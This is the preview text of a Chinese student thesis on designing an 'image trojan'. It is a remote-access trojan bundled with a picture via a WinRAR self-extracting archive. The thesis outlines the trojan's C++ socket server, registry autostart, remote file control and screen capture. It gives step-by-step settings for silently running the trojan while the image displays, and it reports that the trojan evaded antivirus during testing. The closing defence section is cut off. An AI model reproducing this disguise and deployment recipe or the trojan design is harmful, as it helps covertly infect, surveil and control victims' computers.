圖片木馬的設(shè)計(jì)方案與實(shí)現(xiàn)_第1頁
圖片木馬的設(shè)計(jì)方案與實(shí)現(xiàn)_第2頁
圖片木馬的設(shè)計(jì)方案與實(shí)現(xiàn)_第3頁
圖片木馬的設(shè)計(jì)方案與實(shí)現(xiàn)_第4頁
圖片木馬的設(shè)計(jì)方案與實(shí)現(xiàn)_第5頁
已閱讀5頁,還剩58頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

圖片木馬的設(shè)計(jì)與實(shí)現(xiàn)081007306高源指導(dǎo)教師余建國副教授第一章前言1.1選題背景木馬程序(1986年的PC-Write木馬)到今天,已經(jīng)經(jīng)歷的很大的發(fā)展,也經(jīng)歷了五個階段。從最初的是以竊取網(wǎng)絡(luò)密碼為主要任務(wù),到使用標(biāo)準(zhǔn)的C/S架構(gòu),提供遠(yuǎn)程文件管理、屏幕監(jiān)視等功能,再到今天發(fā)展成熟的幾乎可以完成各種功能的木馬,是一個不小的進(jìn)步了。其實(shí)到第四代木馬的時候,木馬在進(jìn)程隱藏方面,已經(jīng)做的很成功,它采用了內(nèi)核插入式的嵌入方式,利用遠(yuǎn)程插入線程技術(shù),嵌入DLL線程,實(shí)現(xiàn)木馬的隱藏。第五代木馬已經(jīng)能實(shí)現(xiàn)了與病毒緊密結(jié)合,利用操作系統(tǒng)漏洞,直接實(shí)現(xiàn)感染傳播的目的,而不必象以前的木馬那樣需要欺騙用戶主動激活,其中圖片木馬就是一種變形的傳播方式。木馬程序發(fā)展到今天已經(jīng)相當(dāng)完善了,但隨著計(jì)算機(jī)技術(shù)的發(fā)展,木馬仍會繼續(xù)演變并運(yùn)用一些新的技術(shù)和方法使其更具有攻擊性和破壞性。從現(xiàn)在的趨勢來看,木馬將在隱藏性、代碼的模塊化設(shè)計(jì)、及時通知、跨平臺、底層通信以及和蠕蟲病毒技術(shù)融合等方面有所提升和發(fā)展。1.2本課題研究的意義由于木馬活動的猖獗和其實(shí)現(xiàn)技術(shù)的不斷更新,木馬的防范工作也必須與時俱進(jìn)。只要了解木馬的工作原理,借助協(xié)議分析工具,就能及時發(fā)現(xiàn)蛛絲馬跡,降低木馬帶來的危害;只要熟悉木馬的隱藏方法,就能快速找到并徹底清除木馬,甚至找到入侵者;如果能夠預(yù)先了解木馬攻擊手段,就可以有針對性防范木馬主動入侵或攻擊。通過對木馬的了解,來識別捆綁類的木馬,如圖片木馬。論文通過對圖片木馬的原理進(jìn)行深入分析,總結(jié)一些木馬的一般規(guī)律和最新技術(shù),對于提高木馬的防范水平以及網(wǎng)絡(luò)管理提供了一定的借鑒作用。第二章相關(guān)理論基礎(chǔ)如果想要能夠做出一個圖片木馬出來,首先需要對相關(guān)的基礎(chǔ)知識有個詳細(xì)和透徹的了解,我們需要知道什么是木馬,圖片和木馬是怎么做到一起的,同時要知道圖片木馬是怎么工作。2.1木馬的有關(guān)知識介紹一些關(guān)于木馬的基本知識,對木馬以及圖片木馬的開發(fā)有個理論基礎(chǔ)。2.1.1木馬的定義歷史上對計(jì)算機(jī)木馬的定義是,試圖以有用程序的假面具欺騙用戶允許其運(yùn)行的一類滲透。請注意,過去的木馬確實(shí)是這樣,但現(xiàn)在它們已無需偽裝自己。它們唯一的目的就是盡可能輕松地滲透并完成其惡意目標(biāo)?!澳抉R”已成為一個通用詞,用來形容不屬于任何特定類別的所有滲透。我們在這里所要了解的木馬程序是指潛伏在電腦中,受外部用戶控制以竊取本機(jī)信息或者控制權(quán)的程序。它的全程叫特洛伊木馬,英文叫做“Trojanhorse”,其名稱取自希臘神話的特洛伊木馬記。木馬程序危害在于多數(shù)有惡意企圖,例如占用系統(tǒng)資源,降低電腦效能,危害本機(jī)信息安全(盜取QQ賬號、游戲賬號甚至銀行賬號),將本機(jī)作為工具來攻擊其他設(shè)備等。木馬通過一段特定的程序(木馬程序)來控制另一臺計(jì)算機(jī)。木馬通常有兩個可執(zhí)行程序:一個是客戶端,即控制端,另一個是服務(wù)端,即被控制端。植入被種者電腦的是“服務(wù)器”部分,而所謂的“黑客”正是利用“控制器”進(jìn)入運(yùn)行了“服務(wù)器”的電腦。運(yùn)行了木馬程序的“服務(wù)器”以后,被種者的電腦就會有一個或幾個端口被打開,使黑客可以利用這些打開的端口進(jìn)入電腦系統(tǒng),安全和個人隱私也就全無保障了!木馬的設(shè)計(jì)者為了防止木馬被發(fā)現(xiàn),而采用多種手段隱藏木馬。木馬的服務(wù)一旦運(yùn)行并被控制端連接,其控制端將享有服務(wù)端的大部分操作權(quán)限,例如給計(jì)算機(jī)增加口令,瀏覽、移動、復(fù)制、刪除文件,修改注冊表,更改計(jì)算機(jī)配置等。2.1.2木馬發(fā)展的方向第一代木馬:偽裝型木馬這種木馬通過偽裝成一個合法性程序誘騙用戶上當(dāng)。世界上第一個計(jì)算機(jī)木馬是出現(xiàn)在1986年的PC-Write木馬。它偽裝成共享軟件,一旦用戶信以為真運(yùn)行該木馬程序,那么他的下場就是硬盤被格式化。此時的第一代木馬還不具備傳染特征。第二代木馬:AIDS型木馬繼PC-Write之后,1989年出現(xiàn)了AIDS木馬。由于當(dāng)時很少有人使用電子郵件,所以AIDS的作者就利用現(xiàn)實(shí)生活中的郵件進(jìn)行散播:給其他人寄去一封封含有木馬程序軟盤的郵件。之所以叫這個名稱是因?yàn)檐洷P中包含有AIDS和HIV疾病的藥品,價(jià)格,預(yù)防措施等相關(guān)信息。軟盤中的木馬程序在運(yùn)行后,雖然不會破壞數(shù)據(jù),但是他將硬盤加密鎖死,然后提示受感染用戶花錢消災(zāi)??梢哉f第二代木馬已具備了傳播特征(盡管通過傳統(tǒng)的郵遞方式)。第三代木馬:網(wǎng)絡(luò)傳播性木馬隨著Internet的普及,這一代木馬兼?zhèn)鋫窝b和傳播兩種特征并結(jié)合TCP/IP網(wǎng)絡(luò)技術(shù)四處泛濫,它實(shí)現(xiàn)了與病毒緊密結(jié)合,利用操作系統(tǒng)漏洞,直接實(shí)現(xiàn)感染傳播的目的,而不必象以前的木馬那樣需要欺騙用戶主動激活。同時他還有新的特征:第一是添加了“后門”功能。第二就是添加了鍵盤記錄功能。木馬程序發(fā)展到今天已經(jīng)相當(dāng)完善了,但隨著計(jì)算機(jī)技術(shù)的發(fā)展,木馬仍會繼續(xù)演變并運(yùn)用一些新的技術(shù)和方法使其更具有攻擊性和破壞性。從現(xiàn)在的趨勢來看,木馬將在隱藏性、代碼的模塊化設(shè)計(jì)、及時通知、跨平臺、底層通信以及和蠕蟲病毒技術(shù)融合等方面有所提升和發(fā)展。2.1.3木馬程序分類可以按照不同的分類標(biāo)準(zhǔn)對特洛伊木馬進(jìn)行分類。1.按照對計(jì)算機(jī)的破壞方式分類(1)破壞型破壞型木馬的惟一的功能就是破壞并且刪除文件,可以自動的刪除電腦上的任何文件,一般是刪除DLL、INI、EXE文件。(2)密碼發(fā)送型密碼發(fā)送型木馬的目的是找到所有的隱藏密碼并把它們發(fā)送到指定的信箱。有人喜歡把自己的各種密碼以文件的形式存放在計(jì)算機(jī)中,認(rèn)為這樣方便;還有人喜歡用WINDOWS提供的密碼記憶功能,這樣就可以不必每次都輸入密碼了。許多黑客軟件可以尋找到這些文件,把它們送到黑客手中。也有些黑客軟件長期潛伏,記錄操作者的鍵盤操作,從中尋找有用的密碼。利用WINDOWSAPI函數(shù)EnumWindows和EnumChildWindows對當(dāng)前運(yùn)行的所有程序的所有窗口(包括控件)進(jìn)行遍歷,通過窗口標(biāo)題查找密碼輸入和出確認(rèn)重新輸入窗口,通過按鈕標(biāo)題查找我們應(yīng)該單擊的按鈕,通過ES_PASSWORD查找我們需要鍵入的密碼窗口。向密碼輸入窗口發(fā)送WM_SETTEXT消息模擬輸入密碼,向按鈕窗口發(fā)送WM_COMMAND消息模擬單擊。在破解過程中,把密碼保存在一個文件中,以便在下一個序列的密碼再次進(jìn)行窮舉或多部機(jī)器同時進(jìn)行分工窮舉,直到找到密碼為止。此類程序在黑客網(wǎng)站上唾手可得,精通程序設(shè)計(jì)的人,完全可以自編一個。(3)遠(yuǎn)程訪問型遠(yuǎn)程訪問型木馬是最廣泛的是特洛伊馬,只需有人運(yùn)行了服務(wù)端程序,如果客戶知道了服務(wù)端的IP地址,就可以實(shí)現(xiàn)遠(yuǎn)程控制。以下的程序可以實(shí)現(xiàn)觀察“害者”正在干什么,當(dāng)然這個程序完全可以用在正道上的,比如監(jiān)視學(xué)生機(jī)的操作。程序中用的UDP(UserDatagramProtocol,用戶報(bào)文協(xié)議)是因特網(wǎng)上廣泛采用的通信協(xié)議之一。與TCP協(xié)議不同,它是一種非連接的傳輸協(xié)議,沒有確認(rèn)機(jī)制,可靠性不如TCP,但它的效率卻比TCP高,用于遠(yuǎn)程屏幕監(jiān)視還是比較適合的。它不區(qū)分服務(wù)器端和客戶端,只區(qū)分發(fā)送端和接收端,編程上較為簡單,故選用了UDP協(xié)議。本程序中用了DELPHI提供的TNMUDP控件。(4)鍵盤記錄木馬這種特洛伊木馬是非常簡單的。它們只做一件事情,就是記錄受害者的鍵盤敲擊并且在LOG文件里查找密碼。據(jù)筆者經(jīng)驗(yàn),這種特洛伊木馬隨著Windows的啟動而啟動。它們有在線和離線記錄這樣的選項(xiàng),顧名思義,它們分別記錄你在線和離線狀態(tài)下敲擊鍵盤時的按鍵情況。也就是說你按過什么按鍵,下木馬的人都知道,從這些按鍵中他很容易就會得到你的密碼等有用信息,甚至是你的信用卡賬號哦!當(dāng)然,對于這種類型的木馬,郵件發(fā)送功能也是必不可少的。(5)DoS攻擊木馬隨著DoS攻擊越來越廣泛的應(yīng)用,被用作DoS攻擊的木馬也越來越流行起來。當(dāng)你入侵了一臺機(jī)器,給他種上DoS攻擊木馬,那么日后這臺計(jì)算機(jī)就成為你DoS攻擊的最得力助手了。你控制的肉雞數(shù)量越多,你發(fā)動DoS攻擊取得成功的機(jī)率就越大。所以,這種木馬的危害不是體現(xiàn)在被感染計(jì)算機(jī)上,而是體現(xiàn)在攻擊者可以利用它來攻擊一臺又一臺計(jì)算機(jī),給網(wǎng)絡(luò)造成很大的傷害和帶來損失。還有一種類似DoS的木馬叫做郵件炸彈木馬,一旦機(jī)器被感染,木馬就會隨機(jī)生成各種各樣主題的信件,對特定的郵箱不停地發(fā)送郵件,一直到對方癱瘓、不能接受郵件為止。(6)代理木馬黑客在入侵的同時掩蓋自己的足跡,謹(jǐn)防別人發(fā)現(xiàn)自己的身份是非常重要的,因此,給被控制的肉雞種上代理木馬,讓其變成攻擊者發(fā)動攻擊的跳板就是代理木馬最重要的任務(wù)。通過代理木馬,攻擊者可以在匿名的情況下使用Telnet,ICQ,IRC等程序,從而隱蔽自己的蹤跡。2.按木馬使用的架構(gòu)分類(1)C/S架構(gòu):這種為普通的服務(wù)器、客戶端的傳統(tǒng)架構(gòu),一般我們都是采用客戶端作控制端,服務(wù)器端作被控制端。在編程實(shí)現(xiàn)的時候,如果采用反向連接的技術(shù),那么客戶端(也就是控制端)要采用Socket編程的服務(wù)器端的方法,而服務(wù)端(也就是被控制端)采用Socket編程的客戶端的方法。(2)B/S架構(gòu):這種架構(gòu)為普通的網(wǎng)頁木馬所采用的方式。通常在B/S架構(gòu)下,Server端被上傳了網(wǎng)頁木馬,控制端可以使用瀏覽器來訪問相應(yīng)的網(wǎng)頁,達(dá)到對Server端進(jìn)行控制的目的(3)C/P/S架構(gòu):這里的P是Proxy的意思,也就是在這種架構(gòu)中使用了代理。當(dāng)然,為了實(shí)現(xiàn)正常的通信代理也要由木馬作者編程實(shí)現(xiàn),才能夠?qū)崿F(xiàn)一個轉(zhuǎn)換通信。這種架構(gòu)的出現(xiàn),主要是為了適應(yīng)一個內(nèi)部網(wǎng)絡(luò)對另外一個內(nèi)部網(wǎng)絡(luò)的控制。但是,這種架構(gòu)的木馬目前還沒有發(fā)現(xiàn)。(4)B/S/B架構(gòu):這種架構(gòu)的出現(xiàn),也是為了適應(yīng)內(nèi)部網(wǎng)絡(luò)對另外的內(nèi)部網(wǎng)絡(luò)的控制。當(dāng)被控制端與控制端都打開瀏覽器瀏覽這個Server上的網(wǎng)頁的時候,一端就變成了控制端,而另外一端就變成了被控制端,這種架構(gòu)的木馬已經(jīng)在國外出現(xiàn)了。2.2圖片木馬的生成現(xiàn)在比較流行的生成圖片木馬的方法有2種。第一種是比較老方法,用戶只要點(diǎn)擊圖片就可觸發(fā)木馬的下載,然后讓木馬自動在用戶電腦里運(yùn)作。這種病毒主要是利用了Windows的漏洞,把木馬加載在圖片中,只要沒有打上相應(yīng)補(bǔ)丁的電腦游覽到這些圖片的時候就會自動下載該圖片信息中所包含的木馬信息,進(jìn)而達(dá)到木馬種植功能。第二種就是大家現(xiàn)在經(jīng)常看到的捆綁法,比較低級的一種就是將木馬偽裝一個圖片的圖標(biāo),然后加上一個圖片的后戳名,更高級的一種是將圖片和程序代碼嵌在一起,在你打開圖片的時候,木馬已經(jīng)無聲無息就入侵了你電腦的。這種也是我們最棘手的圖片木馬。這里我個人常用的又有兩種方法,第一種是選擇用圖文捆綁器,這種操作簡單,幾步簡單的操作即可將圖片和木馬生成圖片木馬病毒,但是捆綁器一般就可能附帶木馬病毒;第二種就是用WinRAR來做成自解壓的壓縮文件。攻擊者可以把木馬和圖片添加到壓縮文件中,并將文件制作為自解壓文件,這樣,當(dāng)你雙擊這個自解壓文件時,就會在打開圖片同時悄悄地運(yùn)行木馬文件!這樣就達(dá)到了木馬種植者的目的,即運(yùn)行木馬服務(wù)端程序。而這一招效果又非常好,令對方很難察覺到,因?yàn)椴]有明顯的征兆存在,所以目前使用這種方法來運(yùn)行木馬非常普遍。當(dāng)然還有更高級的木馬免殺方法,這些需要涉及Delphi7和匯編編程,比如使用花指令免殺法、變化入口地址免殺法、修改文件特征碼免殺法等等,這些方法在灰鴿子木馬的免殺中經(jīng)常用到,由于時間和個人能力的局限性,在這里就不過多討論。第三章需求分析知道了木馬的基本知識,我們就來構(gòu)思自己需要實(shí)現(xiàn)的圖片木馬程序了,我們大致從三個方面分析實(shí)現(xiàn)圖片木馬的需求:功能需求、性能需求、開發(fā)環(huán)境需求3.1功能需求 一個完整的木馬需要一個客戶端和一個服務(wù)端,通過將服務(wù)端做成圖片木馬的形式,將其傳播到用戶電腦上,運(yùn)行服務(wù)端后會復(fù)制自身到系統(tǒng)目錄下面,并在注冊表添加一自動行啟動項(xiàng)看,控制端端口和木馬端口之間將會出現(xiàn)一條通道,客戶端很簡單,跟服務(wù)端連接成功后通過對客戶端的操作,實(shí)現(xiàn)間接對用戶電腦的控制。在這里,客戶端基本可以完成對文件的操作、屏幕的監(jiān)控等操作,基本操作流程如圖3-1所示。圖片木馬客戶端圖圖片木馬客戶端圖片木馬服務(wù)端通過socke函數(shù)進(jìn)行雙向通信對磁盤文件的操作對屏幕查看的操作本程序的兩大功能文件的上傳下載文件的刪除新建目錄的刪除創(chuàng)建文件的遠(yuǎn)程運(yùn)行文件的屬性修改屏幕刷新查看完整屏幕圖3-1圖片木馬程序功能圖設(shè)計(jì)的這個圖片木馬主要功能是用以對局域網(wǎng)里的機(jī)器進(jìn)行控制,采用Client/Server工作模式,由服務(wù)端程序、客戶端程序兩部分構(gòu)成。拓?fù)浣Y(jié)構(gòu)如圖3-2所示。圖3-2網(wǎng)絡(luò)拓?fù)鋱D客戶端(控制端)程序運(yùn)行在本地主機(jī)系統(tǒng)上,這些程序主要負(fù)責(zé)向被控端程序發(fā)送控制指令,并對被控端返回的取證結(jié)果進(jìn)行證據(jù)處理,以友好的圖形界面形式顯示給控制者。服務(wù)端(被控端)程序是安裝在被控的計(jì)算機(jī)上,主要負(fù)責(zé)接收并處理客戶端程序發(fā)來的各種控制命令、完成服務(wù)端程序的加載,完成服務(wù)端啟動、隱藏和進(jìn)程的隱藏,并返回結(jié)果。3.2性能需求 服務(wù)端要能夠躲過一些殺毒軟件,而且要能夠在用戶查看圖片的同時,在后臺悄悄運(yùn)行,要讓用戶覺得打開的就是一個圖片,感覺不到木馬的入侵,客戶端要界面友好、便于操作,整個程序的運(yùn)行所需求的環(huán)境配置和平臺要適中,以便服務(wù)端能夠穩(wěn)定快速的運(yùn)行,響應(yīng)客戶端的命令。3.3開發(fā)環(huán)境需求本程序通過MicrosoftVisualC++6.0開發(fā)環(huán)境進(jìn)行開發(fā)和設(shè)計(jì)。采用C++作為開發(fā)語言。C++作為一種面向?qū)ο蟮某绦蛟O(shè)計(jì)語言,具有對象、類、方法、消息等概念,同時支持面向?qū)ο蟮姆椒ǖ难b封機(jī)制和繼承、多態(tài)性機(jī)制,具有強(qiáng)大的開發(fā)功能。VisualC++6.0是基于Windows環(huán)境下的可視化集成開發(fā)環(huán)境,將編譯、鏈接和生成集成一體。第四章木馬程序的設(shè)計(jì)與實(shí)現(xiàn)通過上一章的研究,我們知道我們的圖片木馬需要兩部分??蛻舳耍簩Ψ?wù)端進(jìn)行遠(yuǎn)程控制的一方,服務(wù)端:安裝在遠(yuǎn)程主機(jī)上的程序。通過在服務(wù)端和控制端之間建立一條無形的通道,進(jìn)行對被控主機(jī)的操作。下面就來研究一下這些功能的具體實(shí)現(xiàn)方法。4.1系統(tǒng)結(jié)構(gòu)的設(shè)計(jì) 參考灰鴿子木馬的設(shè)計(jì)思想,本程序采用的是C/S模式作為主體的結(jié)構(gòu)設(shè)計(jì),通過在VisualC++6.0下編譯運(yùn)行生成可執(zhí)行文件。服務(wù)端其實(shí)很簡單,要做到的就是和圖片捆綁在一起,在用戶打開圖片時,在不影響其觀看圖片的同時,能夠悄無聲息的進(jìn)駐系統(tǒng),然后完成與客戶端實(shí)時交互的命令。所以關(guān)鍵之處還是在于如何做成優(yōu)秀的圖片木馬服務(wù)端,即采用何種方式將圖片跟服務(wù)端完美融合在一起,本程序中采用了使用WinRAR自解壓的方法制作了圖片木馬。對于客戶端的設(shè)計(jì),我們要求的是能夠完成需要的操作,而且界面要簡潔就可以了。4.2主要功能的設(shè)計(jì)與實(shí)現(xiàn)首先服務(wù)端需要能夠在不被殺軟和用戶發(fā)現(xiàn)的情況下進(jìn)入用戶系統(tǒng),當(dāng)圖片木馬服務(wù)端進(jìn)駐系統(tǒng)后,要和客戶端建立連接,能夠正常通信后,所能提供的操作有窺視和操作服務(wù)端屏幕,查看、創(chuàng)建、刪除服務(wù)端文件等操作。4.2.1捕捉服務(wù)端屏幕在遠(yuǎn)程控制實(shí)踐中,控制端想要知道被控制端正在干什么,通常有兩種方式。第一種方式是記錄被控制端鼠標(biāo)鍵盤事件,形成一個文本文件,然后把該文件發(fā)送到控制端;控制端用戶通過查看文件的方式查看被控制端打開了哪些應(yīng)用程序,敲了哪些鍵。第二種方式是在被控制端抓取當(dāng)前屏幕,形成一個位圖文件,暫時存儲在控制端磁盤上,然后把該文件發(fā)送到控制端計(jì)算機(jī)并顯示出來,實(shí)現(xiàn)遠(yuǎn)程屏幕抓取功能。在這里我們應(yīng)用第二種方法。本操作的基本原理是服務(wù)端去截取屏幕,存在臨時文件夾中,然后客戶端下載文件顯示出來。服務(wù)端使用的基本函數(shù)如下所示:DWORDGetScreenProc (COMMANDcommand,SOCKETclient)//查看屏幕操作(監(jiān)視屏幕)HANDLEDDBtoDIB(HBITMAPbitmap,DWORDdwCompression,HPALETTEhPal,DWORD*sizeimage)//依賴設(shè)備位圖轉(zhuǎn)化為不依賴設(shè)備位圖BOOLCapScreen(LPTSTRFileName)//保存圖像到指定路徑4.2.2控制服務(wù)端屏幕 當(dāng)客戶端需要獲取服務(wù)端屏幕信息時,先向服務(wù)端發(fā)送獲取屏幕的指令,服務(wù)端完成以上操作,將屏幕圖片保存到指定路徑,然后供客戶端下載。客戶端顯示服務(wù)端已保存的圖片的函數(shù)為voidCSCREENDLG::OnBnClickedScreen1()//顯示屏幕4.2.3對服務(wù)端文件進(jìn)行操作 對于一個木馬程序,我們更側(cè)重的是能操作別人的電腦文件,而不是一個簡單的入侵。所以木馬中文件管理的重要性,是無需質(zhì)疑的。在整個程序的網(wǎng)絡(luò)通信中主要有操作命令,命令對像,和具體數(shù)據(jù)三部分,所以對于命令的傳輸定義如下結(jié)構(gòu):typedefstruct//命令結(jié)構(gòu){intID;//操作命令I(lǐng)DBYTElparam[BUF_LEN*2];//命令對像}COMMAND;因?yàn)槌绦蜃钪匾囊徊糠志褪俏募僮?,所以本程序中對文件的詳?xì)屬性定義如下結(jié)構(gòu):typedefstruct{charFileName[MAX_PATH];//文件名稱intFileLen;//文件長度charTime[50];//時間信息BOOLIsDir;//為目錄否BOOLError;//錯誤信息HICONhIcon;//圖標(biāo)句柄}FILEINFO;對文件操作的主要函數(shù)有以下幾種:DWORD GetDriverProc (COMMANDcommand,SOCKETclient);//獲取磁盤信息DWORD GetDirInfoProc(COMMANDcommand,SOCKETclient);//獲取目錄信息DWORD ExecFileProc (COMMANDcommand,SOCKETclient);//執(zhí)行文件操作DWORD DelFileProc (COMMANDcommand,SOCKETclient);//刪除文件操作DWORD FileInfoProc (COMMANDcommand,SOCKETclient);//獲取文件信息DWORDCreateDirProc (COMMANDcommand,SOCKETclient);//創(chuàng)建目錄操作DWORDDelDirProc (COMMANDcommand,SOCKETclient);//刪除目錄操作DWORDGetFileProc (COMMANDcommand,SOCKETclient);//下載文件操作DWORDPutFileProc (COMMANDcommand,SOCKETclient);//上傳文件操作服務(wù)端還是比較簡單的其整體思路如下:1.服務(wù)端循環(huán)接受連接,并把連接交給線程處理。2.線程接受“命令數(shù)據(jù)”,并跟據(jù)命令I(lǐng)D將命令對象和SOCKET句柄傳給處理函數(shù)。3.函數(shù)執(zhí)行指定功能,并返回執(zhí)行結(jié)果。對整體結(jié)構(gòu)的描述,我們用偽代碼表述如下main(){/*初示化設(shè)置*/while(true){if(client=accept(server,(sockaddr*)&clientaddr,&len))//循環(huán)接受連接{CreateThread(NULL,NULL,SLisen,(LPVOID)client,NULL,NULL);//傳遞線程處理}}/*清理釋放資源*/WSACleanup();}服務(wù)端程序運(yùn)行后循環(huán)接受連接,如果有新的連接就傳遞給新的線程處理,線程代碼如下:DWORDWINAPISLisen(LPVOIDlparam){SOCKETclient=(SOCKET)lparam;COMMANDcommand;while(1){if(recv(client,(char*)&command,sizeof(command),0)==SOCKET_ERROR)//接受命令數(shù)據(jù){cout<<"TheClinetSocketisClosed\n";break;}else{switch(command.ID)//判斷命令I(lǐng)D{caseGetDriver://將命令對像和SOCKET句柄傳遞給處理函數(shù)GetDriverProc(command,client);break;caseDelFile:DelFileProc(command,client);break;/*其它命令*/}}}}客戶端結(jié)構(gòu)的實(shí)現(xiàn)思路如下:1.跟服務(wù)端建立連接。2.發(fā)送用戶命令。3.啟動一個線程,用于接受服務(wù)端的返回信息。對整體結(jié)構(gòu)的描述,我們用偽代碼表述如下:voidCMyDlg::OnConnect(){if(connect(server,(SOCKADDR*)&serveraddr,sizeof(serveraddr))<0)//連接{return;}CreateThread(NULL,NULL,CLisen,this,NULL,NULL);//創(chuàng)建線程用于接受SERVER返回信息}4.2.4圖片木馬的生成1.將通過VC++6.0編譯生成的服務(wù)端可執(zhí)行文件和一個圖片放在同一個文件夾中,選中兩個文件后,生成壓縮文件。2.打開這個生成的RAR文件,選擇菜單欄里的自解壓格式,在彈出的對話框中選擇“高級自解壓選項(xiàng)”,在解壓路徑中寫上你要解壓的路徑,在這里一般可以寫“%systemroot%\temp”,表示系統(tǒng)安裝目錄下的temp文件夾,一般是C:\windows文件夾下就可以了。3.在“解壓后運(yùn)行”里面寫出木馬的程序名稱(帶后綴的全名),“解壓前運(yùn)行”里面寫出圖片的名稱(帶后綴的全名);在“模式”里,點(diǎn)上“全部隱藏”,在“更新”里選上“覆蓋所有文件”。這樣就可以確定生成自解壓格式的圖片木馬了,當(dāng)打開自解壓文件的時候,圖片可以完整展示,我們的服務(wù)端程序也可以完美進(jìn)駐后臺,達(dá)到入侵的目的。第五章系統(tǒng)測試與圖片木馬防治經(jīng)過上面的設(shè)計(jì),我們的圖片木馬已經(jīng)生成完成,現(xiàn)在需要對程序進(jìn)行測試,檢驗(yàn)程序?qū)崿F(xiàn)的功能是否與當(dāng)初構(gòu)想的一致,同時介紹一些對圖片木馬防治的知識。5.1測試環(huán)境 鑒于程序需要客戶端和服務(wù)端同時在兩臺機(jī)器上運(yùn)行,所以測試平臺選擇為:VMware6.0下的WindowsXP運(yùn)行客戶端,本機(jī)的Window7操作系統(tǒng)作為服務(wù)端。同時開啟微軟正版殺毒軟件MicrosoftSecurityEssential的監(jiān)控和360安全衛(wèi)士。5.2測試過程與效果 1.通過在VisualC++6.0中運(yùn)行客戶端和服務(wù)端代碼,生成各自的EXE文件2.通過WinRAR生成自解壓文件的方式,將服務(wù)端的EXE文件和圖片進(jìn)行捆綁,生成自解壓的圖片木馬,并通過FQ傳給目標(biāo)用戶3.用戶打開圖片后,可以看到完整的圖片,但是服務(wù)端已經(jīng)在后臺運(yùn)行了,客戶端這時就可以操縱用戶電腦了。而且木馬在MicrosoftSecurityEssential監(jiān)控下能夠正常運(yùn)行。打開客戶端輸入被控主機(jī)IP后選擇連接,就可以打開程序主界面,連接成功后會在左下角顯示連接成功的提示,輸入錯誤IP也會給出不能連接成功的彈窗。如圖5-1所示。圖5-1客戶端主界面然后點(diǎn)擊磁盤驅(qū)動器的盤符,打開對應(yīng)的磁盤,可以點(diǎn)擊鼠標(biāo)右鍵對磁盤文件進(jìn)行操作,如圖5-2所示。圖5-2客戶端操作菜單欄對文件的操作直接點(diǎn)擊對應(yīng)的子菜單即可,以下載文件為例,在需要下載的文件上點(diǎn)擊鼠標(biāo)右鍵,會彈出提示彈窗選擇文件存儲位置(圖5-3所示),確定后即可完成下載,如圖5-4所示。當(dāng)網(wǎng)絡(luò)不通暢或突然連接失敗時,也會給出相應(yīng)的錯誤提示圖5-3文件下載窗口圖5-4文件傳輸完成提示下面對服務(wù)端文件的一些操作進(jìn)行說明:(1)文件上傳:在左邊一覽表中用鼠標(biāo)左鍵單擊后磁盤盤符,展開后右邊框中將顯示當(dāng)前所選中的被控端各個對應(yīng)盤目錄下的所有文件及文件夾,在需要上傳的文件夾里右鍵選擇文件上傳,然后選擇上傳文件路徑就可以上傳了。同時客戶端左下角顯示文件上傳成功的提示(2)運(yùn)行文件:如果要運(yùn)行其中某文件夾中的文件可選中該文件,然后單擊右鍵彈出菜單,選擇“運(yùn)行文件”的子菜單項(xiàng),此時將調(diào)用本機(jī)中的程序去打開該文件(如圖片)或自動運(yùn)行文件,同時客戶端左下角顯示文件執(zhí)行成功的提示。(3)刪除文件:如果要將被控端中的某一文件刪除,可單擊選中該文件,可以右擊選擇彈出菜單中的“刪除文件”子菜單項(xiàng),即可遠(yuǎn)程刪除被控端主機(jī)上的文件,同時客戶端左下角顯示文件刪除成功的提示(4)創(chuàng)建目錄:如果要想在被控端中的某一個位置創(chuàng)建一個文件夾,則在此處單擊,右擊選擇彈出菜單中的“創(chuàng)建目錄”子菜單項(xiàng),客戶端左下角顯示創(chuàng)建目錄成功的提示即可。(5)刪除目錄:如果需要刪除被控端的某一個文件夾,可以再文件夾上右擊,選擇彈出菜單中的“刪除目錄”子菜單項(xiàng),在提示窗口上選擇確定即可,同時客戶端左下角顯示目錄刪除成功的提示(6)刷新列表:在右框中右擊選擇彈出菜單中的“刷新列表”子菜單項(xiàng),可對顯示的文件及子文件夾刷新顯示(7)文件屬性:如果需要對某個文件的屬性進(jìn)行修改,如隱藏、只讀等,可以點(diǎn)擊該文件后文件夾,右鍵選擇文件屬性,然后勾選相應(yīng)的屬性,進(jìn)行修改,點(diǎn)擊刷新進(jìn)行保存。因?yàn)槠渌麑ξ募牟僮骰九c文件下載類似,如同在windows系統(tǒng)中操作本機(jī)文件。像運(yùn)行文件,上傳文件,對目錄的操作,都大同小異,與下載文件沒有什么特別之處,而且上文中也對各個步驟的操作進(jìn)行了文字說明,這里就不再一一附圖展示了。下面來操作的是本系統(tǒng)的另外一個主要功能,就是對屏幕的查看,屏幕的查看可以讓我們了解對方被控端電腦正在進(jìn)行的操作,這個操作的原理在前文中已經(jīng)有過詳細(xì)的介紹,這里只進(jìn)行簡單的演示操作。在客戶端上點(diǎn)擊鼠標(biāo)右鍵,選擇查看屏幕子菜單,會彈出屏幕查看程序的窗口,選擇刷新屏幕即可看到屏幕的部分信息,點(diǎn)擊查看完整屏幕信息可以看到完整的屏幕信息,如圖5-5所示圖5-5查看屏幕效果截圖因?yàn)槌绦蚴窃谔摂M機(jī)和本機(jī)上進(jìn)行測試的,所以查看屏幕可以看到虛擬機(jī)(運(yùn)行客戶端程序)的屏幕和本機(jī)(運(yùn)行服務(wù)端程序)的兩個重疊屏幕,屬于正?,F(xiàn)象。5.3圖片木馬的防治木馬其實(shí)并不可怕,只是因?yàn)槲覀儗λ私獾奶?,對于圖片木馬的防治,我先來就談?wù)劮肋@個方面。畢竟防護(hù)的不到位才給了木馬入侵的機(jī)會。第一,就是將windows資源管理器配置成始終顯示擴(kuò)展名因?yàn)橐恍﹫D片木馬病毒僅僅是簡單的更改了圖標(biāo)和后綴名,根本不是一個圖片,如果始終顯示擴(kuò)展名,就很容易看到它真正的后綴名,這時候就千萬不要隨便打開。第二,安裝殺毒軟件,這個對于圖片木馬病毒的預(yù)防還是很重要的,雖然有一些木馬能夠繞過殺毒軟件的查殺,但是這畢竟可以幫助我們識別和攔截一部分木馬病毒,這個不容忽視。第三,對于自解壓的文件,從網(wǎng)上流傳的實(shí)例中不難看出,WinRAR的自解壓功能真的是太強(qiáng)大了,它能使得不會編程的人也能在短時間內(nèi)制作出迷惑他人的木馬程序,而且對于含有木馬的自解